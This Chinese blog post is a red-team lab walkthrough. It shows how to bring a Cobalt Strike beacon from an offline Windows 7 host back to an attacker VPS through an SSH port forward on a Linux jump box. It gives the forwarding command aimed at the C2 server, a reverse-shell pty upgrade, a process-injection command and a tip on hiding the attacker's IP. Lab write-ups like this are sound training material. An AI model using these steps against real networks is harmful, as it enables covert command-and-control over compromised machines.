windows不出网上线cobalt-strike


一、前言

  前端时间打红日安全红队靶场(四),对内网不出网的windows上线不了cs耿耿于怀,由于边界设备是linux,然后开lcx、NATbypass、ew、frp来端口映射时cs开启监听会提示端口占用,今天早晨突然想到用ssh做端口映射好像是可以的。就试了试结果成功了。

看看ssh端口映射的原理:
  工作原理是这样的, 本地机器(边界跳板机)上分配了一个 socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时和远程主机(vps)的端口建立连接。

环境:vps(装有cs),linux(内网边界设备、跳板机),win7(内网并且不出网)

  思路:cs开两个监听,一个用来监听,一个用来生成payload,linux跳板机开ssh端口映射,win7去执行生成的payload

二、开启两个监听

环境复现的话我就那自己的虚拟本地,和靶场的结果是一样。

1、监听1

这个监听是用来收取reverse_http shell的

save

2、监听2

这个监听是生成payload和派生会话用的

save

三、生成payload

(1)使用常用payload生成器

选择名为:payload的监听器

生成后保存好,等等会用到

四、建立ssh端口映射

使用命令:ssh -C -f -N -g -L 本地端口:目标IP:目标端口 用户名@目标IP
那么我们这里的命令为:ssh -C -f -N -g -L 4445:vps_ip:1111 root@vps_ip

由于这个命令是需要输入vps的密码的,所以当前只有一个nc的反弹shell的话需要用python命令来加强交互性(可以输密码):python -c 'import pty;pty.spawn("/bin/bash")'

执行结果如下:

查看建立链接情况:netstat -anp | grep 4445

看起来是没有啥问题了

五、win7执行payload.exe

对于靶机的环境,可以永恒之蓝打进去之后,上传执行。我这里是本地环境所以直接拖到win7执行。

突发问题:
可能ssh会不稳定,出现如下情况

需要把ssh端口映射的命令再执行一次即可,然后就上线成功了

六、测试一下功能

(1)派生会话

派生会话要选择跳板机的ip

派生成功了
(2)进程注入
inject 2408 x64

选择payload也是跳板机的

看结果

进程注入成功
(3)提权

总之用cs来内网信息收集,简直不要太爽

要想隐藏ip的话需要在ssh端口映射那边花点功夫


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录